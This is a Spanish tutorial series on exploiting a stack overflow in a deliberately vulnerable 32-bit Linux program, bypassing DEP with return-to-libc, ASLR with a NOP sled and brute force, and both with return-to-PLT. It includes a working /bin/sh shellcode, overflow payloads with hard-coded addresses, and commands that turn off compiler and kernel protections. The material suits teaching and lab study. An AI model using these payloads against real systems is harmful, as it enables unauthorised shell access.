ByPassing DEP y ASLR

Para compilar el programa name.c para este artículo es necesario desactivar DEP:

gcc -m32 -fno-stack-protector name.c -o name

Esta vez no hay que desactivar ASLR, si estuviese desactivado se puede activar de la siguiente forma:

echo 2 > /proc/sys/kernel/randomize_va_space

En los dos capítulos previos estudiamos las protecciones DEP y ASLR y rompimos su seguridad por separado. Lógicamente este artículo va a ir sobre como conseguir atacar satisfactoriamente un programa protegido por estas dos protecciones.

Lo primero que hay que tener en cuenta es que ahora ya no podemos ejecutar desde la zona de datos (porque DEP protege contra tal acto) y además no tenemos una zona fija donde almacenar datos (puesto que ASLR aleatoriza el espacio de direcciones de un proceso).

Hay varias soluciones para afrontar este problema. Aquí voy a explicar una bastante sencilla basada en técnicas usadas en artículos anteriores, por lo que este artículo no será muy largo.

Para empezar hemos hecho una pequeña reforma a nuestro programa vulnerable:

Vemos que los principales cambios es añadir la función exit(0) en vez de return 0 y el uso de la función system() en vez de printf.

En este ejemplo en concreto queda raro y forzado, pero no es raro encontrar estas funciones en programas.

¿Por que hemos hecho estos cambios? Básicamente porque vamos a emplear una técnica llamada Return to PLT que es similar a Return to Libc. Si recordamos bien, Return to Libc la utilizamos cuando quisimos saltarnos DEP y básicamente consistia en proporcionar en EIP la dirección de una función de Libc (en nuestro caso fue de system).

Ahora no podemos usar Return to Libc porque no podemos proporcionar una dirección exacta de la función system debido a la protección ASLR. Pero aquí viene en nuestro ayuda la PLT.

PLT significa Procedure Linkage Table y es usada junto a GOT (Global Offset Table) para que el loader del Sistema Operativo sepa linkar nuestro programa con las librerías compartidas. Básicamente nuestro programa tiene una PLT donde almacena las llamadas a procedimientos de librerias compartidas. La primera vez que nuestro programa llama a una de estas funciones, la tabla se rellena con la dirección real de dicha función. Por tanto, la primera vez que llamamos a printf, nuestro programa consulta PLT ve que no tiene la dirección de printf y la resuelve en tiempo de ejecución, la próxima vez que se llame a printf su direccion real ya estará resuelta y no hará falta resolverla de nuevo. PLT y GOT se escapan del ámbito de estos artículos pero se puede encontrar mucha información sobre ellos buscando sobre Linkers y Loaders.

Y no, la tabla PLT no se ve afectada por la aleatorizacion de ASLR.

Conclusión, tenemos una tabla con las direcciones a funciones que nuestro programa usa, y estas direcciones son fijas ¡incluso con ASLR activado!. La desventaja es que la llamada a dicha función se debe encontrar dentro de nuestro programa (de ahí que hayamos tenido que usarla de una forma un tanto forzada).

Vale, tenemos un programa vulnerable con una función system y que podemos llamar gracias a PLT, pero a system hay que pasarle un argumento y seguimos teniendo ASLR activo por lo que nuestro argumento tendrá una dirección variable de memoria.

¿Os acordais del artículo anterior? En él introdujimos nuestro exploit en una variable de entorno con una gran cantidad de NOP's para que una vez que caiga en el primer NOP se vaya desplazando hasta llegar a nuestro shellcode real. Pues esta vez vamos a emplear algo parecido, solo que en vez de introducir en nuestra variable de entorno un shellcode, vamos a introducir la orden “/bin/sh” que nos va a proporcionar una shell pero, como en el artículo anterior, esto nos arrojaria muchos fallos, hasta el punto de tener que usar un ataque de fuerza bruta de miles de intentos, así que vamos a meter también un colchon de NOPs para que una vez que la dirección proporcionada como argumento de system caiga en nuestra variable de entorno, esta se vaya desplazando hasta encontrar el comando /bin/sh.

Bueno, basta de teoría, pasemos a la práctica. Primero tenemos que hacernos con las direcciones de memoria de system@plt y exit@plt, para ello usamos gdb y desensamblamos la funcion main

0

En la imagen podemos ver como mi binario tiene la función system@plt en la dirección 0x8048370 y la función exit@plt en la dirección 0x8038390. Vamos a exportar ahora una variable de entorno que contenga una gran cantidad de comandos inútiles (o incluso inválidos, en mi caso usaré estos ultimos porque mi shell no me permite introducir espacios) y un comando “/bin/sh”

export xploit=`python -c "print 'echo_a;'*18000+'/bin/sh'"`

Una vez más hay que tener en cuenta que la variable de entorno debe ser bastante grande pero hay que tener cuidado porque algunas shells imponen límites de tamaño para las variables de entorno, en mi caso la variable es de 6*18000+7 bytes, lo que hace un total de 9007 bytes. Vamos a ejecutar ahora nuestro ya conocido programa getenv que nos devuelve la dirección de una variable de entorno con respecto al programa vulnerable.

1

Lo ejecutamos unas cuantas veces y vemos que efectivamente la dirección de memoria varía. Ahora elegimos una, la que sea, por ejemplo, en mi caso voy a elegir la última 0xfff3733e. Y si recordamos el artículo sobre Return to Libc sabremos que tendremos que pasar los argumentos de la siguiente forma

AAAA...AAAA + DIRECCIÓN_SYSTEM + DIRECCIÓN_EXIT + DIRECCIÓN_PARÁMETRO_SYSTEM

para que la pila quede así

DIRECCIÓN_PARÁMETRO_SYSTEM
DIRECCIÓN_EXIT
DIRECCIÓN_SYSTEM
AAAA...AAAA

Pero esto, es un ataque de fuerza bruta, por tanto deberemos crear una shellscript como hicimos en el artículo anterior para ir probando hasta que obtengamos una shell. El script puede ser el siguiente

damos permisos de ejecución al script mediante

chmod +x xploit.sh

y ejecutamos mediante

./xploit.sh

2

¡Tachan! ¡Volvimos a obtener una shell con DEP y ASLR activado!

Conclusiones

Aquí acaba esta serie de artículos, nos hemos dejado en el camino muchas técnicas y algunas protecciones pero hemos estado viendo lo básico sobre stacks overflows y como romper dos protecciones usadas en entornos reales.

En el camino nos hemos dejado una protección implementada por el compilador basada en cookies o canaries, estas técnicas se basan en poner un número en una dirección de memoria entre nuestro buffer y el valor de EIP, al regresar de la función, si este valor no coincide con el almacenado en un lugar seguro por el programa entonces se detendrá la ejecución. Además algunas de estas ténicas del compilador son capaces de reorganizar nuestras variables para situar a los buffers en las primeras zonas de memoria después del valor de EIP, dejando variables primitivas y punteros debajo de los buffers.

En GCC, el estandar es Stack Smash Protector o ProPolice que es capaz de usar 2 canaries distintos, o bien uno generado aleatoriamente y que es comprobado por el programa siempre que se va a recuperar el valor de EIP, o bien usar un canary prefijado: 0x000aff0d. Este canary está muy bien pensando y rompe nuestros ataques completamente, 0x00 es el byte null por lo que acabaria con los ataques basados en string, 0x0a es el salto de línea \n y acabaria con los desbordamientos mediante las familias gets, 0xff es el indicador de fin de archivo y 0x0d es el carater \r. Esta protección en algunas distribuciones Linux viene desactivada por defecto, en mi ubuntu viene activada y en cada programa vulnerable he tenido que desactivarla. En efecto, esta protección se corresponde a la opción -fno-stack-protector, si quitamos esa opción cuando compilamos, ninguno de los ataques empleados aquí tendría efecto.

3

Si realizamos el ataque de este artículo sobre el mismo programa pero quitando la opción -fno-stack-protector, veremos que el programa detecta que se ha desbordado el buffer y termina.

También se nos ha quedado en el tintero los ataques de heap overflow y los de las cadenas de formato.

Es posible que en un futuro escriba algo sobre ello.

ByPassing ASLR

Para compilar el programa name.c para este artículo es necesario desactivar DEP:

gcc -m32 -fno-stack-protector -z execstack name.c -o name

Esta vez no hay que desactivar ASLR, si estuviese desactivado se puede activar de la siguiente forma:

echo 2 > /proc/sys/kernel/randomize_va_space

En el artículo anterior estudiamos la protección DEP y ahora toca estudiar ASLR.

ASLR significa Address Space Layout Randomization y es una técnica implementada a nivel de sistema operativo para aleatorizar las direcciones de memoria dentro del espacio de memoria de un proceso, de esta forma una librería como puede ser libc no será cargada siempre en la misma zona de memoria y por tanto técnicas como Return to libc o Jump To Esp no se podrán llevar a cabo tan facilmente.

En este articulo vamos a activar ASLR. Si no lo tenemos activo podemos ejecutar el siguiente comando como root para activarlo

echo 2 > /proc/sys/kernel/randomize_va_space

Pero vamos a volver a desactivar DEP para que nos resulte un poco más sencillo.

Por tanto, el programa vulnerable tendremos que compilarlo mediante la siguiente instrucción

gcc -z execstack -fno-stack-protector name.c -o name

¿Como podemos comprobar si ASLR está activo?

Podemos comprobarlo facilmente ejecutando el comando ldd sobre nuestro programa para ver si las direcciones de memoria varian.

0

Aquí podemos ver como las direcciones de las librerías cargadas varian, si no es así significa que no tenemos ASLR activo. Por lo general algunas librerías de terceros en Windows no son aleatorizadas y en linux el segmento text de nuestro programa tampoco se aleatoriza a no ser que se compile como código independiente de la posición (-fpic).

Este descuido nos deja la puerta a abierta ataques del tipo Return to PLT que veremos en el siguiente artículo, que nos será bastante efectivo cuando DEP y ASLR está activo.

Además podemos imprimir la direccion de una variable de entorno cualquiera y ver que también cambia de dirección de memoria.

1

Pero podemos observar algo realmente interesante. Podemos observar que el byte más significativo no varía, además el byte menos significativo tampoco varia, ni el nibble a continuación del byte menos significativo tampoco varia. Si tomamos una muestra (empezando por el último) de los bytes que varian y lo pasamos a binario obtenemos.

9d8 1001 1101 1000
b59 1011 0101 1001
de4 1101 1110 0110
b81 1011 1000 0001
d0d 1101 0000 1101
d62 1101 0110 0010

Podemos ver como el bit más significativo tampoco varía.

ASLR nos promete que para la pila hay 24 bits aleatorios, obviando los bytes más significativos y teniendo en cuenta lo observado más arriba de que el bit más significativo tampoco es aletorio obtendriamos que el número de bits aleatorios es realmente 23 (2^23 = 8MB que es el tamaño máximo de pila).

Además en el artículo anterior pasamos por alto un pequeño detalle

2

¿Lo véis? En la sección GNU_STACK pone que debe de haber un alineamiento de 0x10 (16). Por tanto el número total de posibilidades para una variable en el stack seria 2^23/16 = 524288. Siguen siendo muchas posibilidades para un ataque de fuerza bruta.

¿Pero y si creamos una variable de entorno con una gran cantidad de nops? ¿Por ejemplo 100.000 nops? Pues que tendriamos una variable bastante larga y si diese la casualidad de que cuando ejecutamos el programa esta variable se encuentra en una dirección de memoria que nosotros especificamos ira recorriendo todos los nops hasta llegar a nuestro shellcode. En efecto, vamos a proceder a realizar una atque de fuerza bruta.

Para ello primero exportamos la siguiente variable de entorno:

export xploit=`python -c "print '\x90' * 100000 + '\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'"`

Aquí exportamos la variable xploit con 100.000 nops y acto seguido nuestro conocido shellcode.

Ahora procedemos a crear el siguiente script:

En este script básicamente llamamos al programa vulnerable con un parametro que es capaz de desbordar el valor de EIP y en EIP proporcionamos una dirección de memoria más o menos cercana o igual a las que hemos obtenido un poco más arriba cuando mostrabamos la accion de ASLR sobre la variable de entorno SHELL

Ejecutamos este script y obtenemos:

3

¡Tachan! Volvimos a poder obtener una shell. Además el ataque ha sido relativamente rápido, unos 2 segundos ha tardado en obtener una shell.

Si no conseguimos obtener una shell, podemos ampliar el número de nops en nuestra variable de entorno (pero con cuidado, ¡algunas shell limitan el tamaño de las variables de entorno!) o podemos aumentar el número de intentos del script.

ByPassing DEP

Para compilar el programa name.c para este artículo es necesario desactivar DEP:

gcc -m32 -fno-stack-protector name.c -o name

También es necesario desactivar ASLR ejecutando el siguiente comando con permisos de administrador

echo 0 > /proc/sys/kernel/randomize_va_space

Hasta ahora lo hemos tenido relativamente fácil porque hemos desactivado algunas de las protecciones que implementa el compilador y el sistema operativo, pero en el mundo real las cosas no son tan sencillas, así que a partir de ahora vamos a empezar a estudiar estas protecciones y la manera de saltárselas.

A partir de ahora nos vamos a encontrar con restricciones en cuanto a la forma de trabajar, por ejemplo en los artículos anteriores hemos podido poner nuestro shellcode en la dirección de memoria que queriamos, ¡incluso hemos podido usar un shellcode personalizado!

En estos artículos nos vamos a centrar concretamente en dos protecciones que he ido nombrando por encima y que hasta ahora no le he dado mucha importancia, estas dos protecciones son DEP y ASLR.

En este primer artículo voy a empezar hablando de DEP, así que voy a hacer una pequeña introducción al mismo.

DEP viene de Data Execution Prevention y es una implementación hardware que debe ser soportada por el Sistema Operativo, aunque Linux puede emular dicha protección sin estar presente en el hardware. Como su nombre indica esta protección evita que zonas de datos se puedan ejecutar.

¿En que afecta esto a nuestros métodos anteriores? Nosotros estabamos inyectado nuestro shellcode en una zona de datos, la pila, ahora con esta medida de protección no podremos ejecutar un shellcode desde la pila. El parámetro que deshabilita esta protección en gcc es -z execstack, con ese parámetro podremos ejecutar código desde la pila, pero si quitamos ese parámetro ya no se nos permitirá ejecutar código desde la pila.

Hasta ahora nuestro programa compilado con -z execstack al ejecutar el siguiente comando

readelf -l ./name

Nos mostraba lo siguiente

0

Podemos ver como el segmento GNU_STACK tiene RWE en la penúltima columna que significa que tiene permisos de lectura, escritura y ejecución. Sin embargo si compilamos el programa sin la opción -z execstack veremos lo siguiente

1

Nuestro programa ya no tiene permisos de ejecución en la pila y por tanta ya no podremos ejecutar shellcodes alojados en la pila.

Si probamos a ejecutar nuestro programa pasándole el shellcode del artículo anterior, obtendremos:

2

Vemos como efectivamente nuestro shellcode no nos proporciona una shell, sino que nos da un segmentation fault

¿Que podemos hacer entonces? Aquí surge una técnica que se llama Return to Libc, recordemos que libc es la librería estándar de C en sistemas Linux y por tanto todos los programs bajo entornos linux suelen llamar a esta librería. Por ejemplo, printf está definida dentro de esta librería.

La idea es muy sencilla, es sobreescribir el registro EIP con una dirección de una función definida en libc en vez de proporcionar una dirección donde se encuentre nuestro shellcode. Haciendo esto el programa saltaría a dicha función que al estar en el segmento de texto de Libc tendrá permisos de ejecución.

¿Que función podemos llamar? Aquí surgen 2 tendencias, aquellas que llaman directamente a una función para obtener una shell, como puede ser la función system() o proporcionar en EIP la dirección donde se encuentra el función mprotect que es una llamada al sistema que permite cambiar los permisos de ejecución/escritura/lectura de un segemento de un programa para hacer que la pila sea de nuevo ejecutable y proporcionar un shellcode que ejecutar desde la pila.

Por ser la opción más sencilla y la que mejor ilustra la técnica vamos a llamar directamente a la función system para obtener una shell.

Para esta técnica hay que tener claro la forma en la que se pasan los argumentos a las funciones y que fue explicada en artículos anteriores. Cuando una funcion va a ser llamada, sus argumentos se almacenan en la pila. En este caso la función system solo tiene un parámetro que es el comando a ejecutar, pero además tendremos que meter en la pila la dirección de la función exit para realizar una salida controlada del programa cuando salgamos de la shell y para que no nos de un fallo de segmentación (hay que recordar que los fallos de segmentación generan logs que los administradores de sistemas pueden examinar).

Por tanto nuestra pila debe quedar de la siguiente forma:

AAAA...AAAA + DIRECCIÓN_SYSTEM + DIRECCIÓN_EXIT + DIRECCIÓN_PARÁMETRO_SYSTEM

Que de forma un poco gŕafica quedaría de la siguiente forma

DIRECCIÓN_PARÁMETRO_SYSTEM
DIRECCIÓN_EXIT
DIRECCIÓN_SYSTEM
AAAA...AAAA

Recordemos que después de salir de la función func, el programa recuperará la el valor de EIP que nosotros hemos sobreescrito y que redirige a la función SYSTEM, una vez en la función system, se espera que el primer parámetro se haya introducido en la pila y está en la primera posición, y una vez acabada la ejecución de system se procederá a la ejecución de exit.

Por tanto, necesitamos saber unas cuantas cosas, la primera es la dirección de la función system, la segunda es la dirección del parámetro que le vamos a pasar a system y la tercera es la dirección de la función exit.

La dirección de system y de exit es fácil de saber, en gdb y con el programa ejecutado y parado en un breakpoint escribimos los comandos

p system

y

p exit

3

En mi caso system está en la posición 0xF7E2B160 y exit en la dirección 0xF7E1Ec90.

Nos falta por saber la dirección del primer parámetro. Por lo general siempre hemos introducido los datos que necesitabamos en la pila, pero hay otro lugar donde podemos introducir también datos, esto es las variables de entorno. Además si compilamos y ejecutamos el siguiente programa podremos saber la dirección exacta de nuestra variable de entorno.

para compilarlo debemos tener cuidado de compilarlo para 32 bits

gcc -m32 getenv.c -o getenv

La función getenv() de linux nos devuelve la dirección de memoria de una variable de entorno, pero esa dirección de memoria se corresponde a la dirección en el proceso de ese programa, nosotros queremos saber la dirección de esa variable de entorno pero en el programa vulnerable y si nos acordamos lo que influia en el cambio de las direcciones era el nombre del programa y las variables de entorno en si, en este caso como se ejecuta sobre el mismo entorno las variables de entorno no cambian pero si que cambia el nombre, de ahí que el calculo se haga solamente con la diferencia de longitud entre el nombre del programa getenv y el nombre del programa vulnerable.

4

Una vez hecho esto ya tendremos los 3 datos que andabamos buscando.

La dirección de system: 0xF7E2B160
La dirección de exit: 0xF7E1Ec90
La dirección del parámetro de system: 0xFFFFDFAF

Ahora deberemos construir el parámetro que le tenemos que passar a nuestro programa vulnerable con estos datos. Como ya se sabe el programa sobreescribe el valor de EIP al 45 byte, en EIP deberemos proporcionar la dirección de system, después la dirección de exit, y por último la dirección del parámetro de system (para que cuando se ejecute system este esté en la cima de la pila y pueda ser recuperado por system). Por tanto el parámetro a pasarle será:

`python -c "print 'A' * 44 + '\x60\xb1\xe2\xf7' + '\x90\xec\xe1\xf7' + '\xaf\xdf\xff\xff'"`

Si ejecutamos el programa con este parámetro obtendremos:

5

¡Tachán! Hemos obtenido una shell saltándonos la protención DEP.